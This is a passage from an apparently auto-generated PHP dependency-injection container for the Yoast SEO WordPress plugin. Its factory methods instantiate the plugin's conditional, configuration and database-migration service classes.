        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional'] = new \Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Primary_Category_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Primary_Category_Conditional
     */
    protected function getPrimaryCategoryConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional'] = new \Yoast\WP\SEO\Conditionals\Primary_Category_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional
     */
    protected function getRobotsTxtConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional'] = new \Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional'] = new \Yoast\WP\SEO\Conditionals\Front_End_Conditional())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional
     */
    protected function getSEMrushEnabledConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Settings_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Settings_Conditional
     */
    protected function getSettingsConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional'] = new \Yoast\WP\SEO\Conditionals\Settings_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional
     */
    protected function getShouldIndexLinksConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional'] = new \Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Text_Formality_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Text_Formality_Conditional
     */
    protected function getTextFormalityConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional'] = new \Yoast\WP\SEO\Conditionals\Text_Formality_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional
     */
    protected function getElementorActivatedConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional
     */
    protected function getElementorEditConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional
     */
    protected function getPolylangConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional
     */
    protected function getTranslatePressConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional
     */
    protected function getW3TotalCacheConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional
     */
    protected function getWPMLConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional
     */
    protected function getWPMLWPSEOConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Integration_Active_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Integration_Active_Conditional
     *
     * @deprecated Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Integration_Active_Conditional is deprecated since version 22.10!
     */
    protected function getWordproofIntegrationActiveConditionalService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Integration_Active_Conditional is deprecated since version 22.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Integration_Active_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Integration_Active_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper'] : $this->getWordproofHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Plugin_Inactive_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Plugin_Inactive_Conditional
     *
     * @deprecated Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Plugin_Inactive_Conditional is deprecated since version 22.10!
     */
    protected function getWordproofPluginInactiveConditionalService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Plugin_Inactive_Conditional is deprecated since version 22.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Plugin_Inactive_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Wordproof_Plugin_Inactive_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional
     */
    protected function getUpdatedImporterFrameworkConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional'] = new \Yoast\WP\SEO\Conditionals\Updated_Importer_Framework_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional
     */
    protected function getUserCanEditUsersConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Edit_Users_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional
     */
    protected function getUserCanManageWpseoOptionsConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\User_Can_Publish_Posts_And_Pages_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\User_Can_Publish_Posts_And_Pages_Conditional
     */
    protected function getUserCanPublishPostsAndPagesConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Publish_Posts_And_Pages_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\User_Edit_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\User_Edit_Conditional
     */
    protected function getUserEditConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Edit_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\User_Profile_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\User_Profile_Conditional
     */
    protected function getUserProfileConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Profile_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional
     */
    protected function getWPCRONEnabledConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\WP_Robots_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\WP_Robots_Conditional
     */
    protected function getWPRobotsConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_Robots_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Web_Stories_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Web_Stories_Conditional
     */
    protected function getWebStoriesConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional'] = new \Yoast\WP\SEO\Conditionals\Web_Stories_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional
     */
    protected function getWincherAutomaticallyTrackConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Automatically_Track_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Wincher_Conditional
     */
    protected function getWincherConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional
     */
    protected function getWincherEnabledConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional
     */
    protected function getWincherTokenConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional'] = new \Yoast\WP\SEO\Conditionals\Wincher_Token_Conditional(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client']) ? $this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] : $this->getWincherClientService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\WooCommerce_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional
     */
    protected function getWooCommerceConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\XMLRPC_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\XMLRPC_Conditional
     */
    protected function getXMLRPCConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional'] = new \Yoast\WP\SEO\Conditionals\XMLRPC_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional
     */
    protected function getYoastAdminAndDashboardConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional'] = new \Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional
     */
    protected function getYoastToolsPageConditionalService()
    {
        return $this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional'] = new \Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Badge_Group_Names' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Badge_Group_Names
     */
    protected function getBadgeGroupNamesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Badge_Group_Names'] = new \Yoast\WP\SEO\Config\Badge_Group_Names();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Conflicting_Plugins' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Conflicting_Plugins
     */
    protected function getConflictingPluginsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Conflicting_Plugins'] = new \Yoast\WP\SEO\Config\Conflicting_Plugins();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Indexing_Reasons' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Indexing_Reasons
     */
    protected function getIndexingReasonsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Indexing_Reasons'] = new \Yoast\WP\SEO\Config\Indexing_Reasons();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migration_Status' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migration_Status
     */
    protected function getMigrationStatusService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddCollationToTables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddCollationToTables
     */
    protected function getAddCollationToTablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables'] = new \Yoast\WP\SEO\Config\Migrations\AddCollationToTables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddColumnsToIndexables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddColumnsToIndexables
     */
    protected function getAddColumnsToIndexablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables'] = new \Yoast\WP\SEO\Config\Migrations\AddColumnsToIndexables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddEstimatedReadingTime' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddEstimatedReadingTime
     */
    protected function getAddEstimatedReadingTimeService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime'] = new \Yoast\WP\SEO\Config\Migrations\AddEstimatedReadingTime(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddHasAncestorsColumn' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddHasAncestorsColumn
     */
    protected function getAddHasAncestorsColumnService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn'] = new \Yoast\WP\SEO\Config\Migrations\AddHasAncestorsColumn(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddInclusiveLanguageScore' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddInclusiveLanguageScore
     */
    protected function getAddInclusiveLanguageScoreService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore'] = new \Yoast\WP\SEO\Config\Migrations\AddInclusiveLanguageScore(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddIndexableObjectIdAndTypeIndex' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddIndexableObjectIdAndTypeIndex
     */
    protected function getAddIndexableObjectIdAndTypeIndexService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex'] = new \Yoast\WP\SEO\Config\Migrations\AddIndexableObjectIdAndTypeIndex(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddIndexesForProminentWordsOnIndexables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddIndexesForProminentWordsOnIndexables
     */
    protected function getAddIndexesForProminentWordsOnIndexablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables'] = new \Yoast\WP\SEO\Config\Migrations\AddIndexesForProminentWordsOnIndexables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddObjectTimestamps' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddObjectTimestamps
     */
    protected function getAddObjectTimestampsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps'] = new \Yoast\WP\SEO\Config\Migrations\AddObjectTimestamps(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\AddVersionColumnToIndexables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\AddVersionColumnToIndexables
     */
    protected function getAddVersionColumnToIndexablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables'] = new \Yoast\WP\SEO\Config\Migrations\AddVersionColumnToIndexables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\BreadcrumbTitleAndHierarchyReset' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\BreadcrumbTitleAndHierarchyReset
     */
    protected function getBreadcrumbTitleAndHierarchyResetService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset'] = new \Yoast\WP\SEO\Config\Migrations\BreadcrumbTitleAndHierarchyReset(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\ClearIndexableTables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\ClearIndexableTables
     */
    protected function getClearIndexableTablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables'] = new \Yoast\WP\SEO\Config\Migrations\ClearIndexableTables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\CreateIndexableSubpagesIndex' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\CreateIndexableSubpagesIndex
     */
    protected function getCreateIndexableSubpagesIndexService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex'] = new \Yoast\WP\SEO\Config\Migrations\CreateIndexableSubpagesIndex(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\CreateSEOLinksTable' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\CreateSEOLinksTable
     */
    protected function getCreateSEOLinksTableService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable'] = new \Yoast\WP\SEO\Config\Migrations\CreateSEOLinksTable(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\DeleteDuplicateIndexables' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\DeleteDuplicateIndexables
     */
    protected function getDeleteDuplicateIndexablesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables'] = new \Yoast\WP\SEO\Config\Migrations\DeleteDuplicateIndexables(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\ExpandIndexableColumnLengths' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\ExpandIndexableColumnLengths
     */
    protected function getExpandIndexableColumnLengthsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths'] = new \Yoast\WP\SEO\Config\Migrations\ExpandIndexableColumnLengths(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\ExpandIndexableIDColumnLengths' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\ExpandIndexableIDColumnLengths
     */
    protected function getExpandIndexableIDColumnLengthsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths'] = new \Yoast\WP\SEO\Config\Migrations\ExpandIndexableIDColumnLengths(${($_ = isset($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter']) ? $this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] : ($this->services['Yoast\\WP\\Lib\\Migrations\\Adapter'] = new \Yoast\WP\Lib\Migrations\Adapter())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Config\Migrations\ExpandPrimaryTermIDColumnLengths' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Config\Migrations\ExpandPrimaryTermIDColumnLengths
     */
    protected function getExpandPrimaryTermIDColumnLengthsService()
    {
